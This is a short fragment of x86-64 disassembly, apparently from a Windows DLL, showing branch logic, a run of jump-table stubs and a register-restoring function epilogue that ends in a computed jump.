add rdi, 1
xor cl, 1
jne 0x1800064a0
cmp al, r11b
je 0x180005fd1
add rbp, 4
add r10, 2
jmp 0x180006491
xor r9d, r9d
jmp 0x1800063a2
mov rax, qword [rsp + 0x40]
mov edi, dword [rax + 0x20]
add rax, 0x14
test edi, edi
jne 0x180005379
jmp 0x180006638
xor r9d, r9d
jmp 0x1800055eb
mov rbx, qword [rsp + 0x58]
mov rcx, rbx
mov r10, qword [rsp + 0x28]
jmp 0x1800053e1
mov rbx, qword [rsp + 0x58]
jmp 0x1800053de
jmp 0x180006530
jmp 0x180006540
jmp 0x180006550
jmp 0x180006560
jmp 0x180006570
jmp 0x180006580
jmp 0x180006590
jmp 0x1800065a0
jmp 0x1800065b0
jmp 0x1800065c0
jmp 0x1800065d0
jmp 0x1800065e0
jmp 0x1800065f0
jmp 0x180006600
jmp 0x180006610
jmp 0x180006620
jmp 0x180006630
jmp 0x180006632
jmp 0x180006634
jmp 0x180006636
mov rax, qword [rsp + 0x98]
mov eax, dword [rax + 0x28]
add r10, rax
movaps xmm6, xmmword [rsp + 0xc0]
movaps xmm7, xmmword [rsp + 0xd0]
movaps xmm8, xmmword [rsp + 0xe0]
movaps xmm9, xmmword [rsp + 0xf0]
movaps xmm10, xmmword [rsp + 0x100]
movaps xmm11, xmmword [rsp + 0x110]
movaps xmm12, xmmword [rsp + 0x120]
movaps xmm13, xmmword [rsp + 0x130]
movaps xmm14, xmmword [rsp + 0x140]
movaps xmm15, xmmword [rsp + 0x150]
add rsp, 0x168
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp r10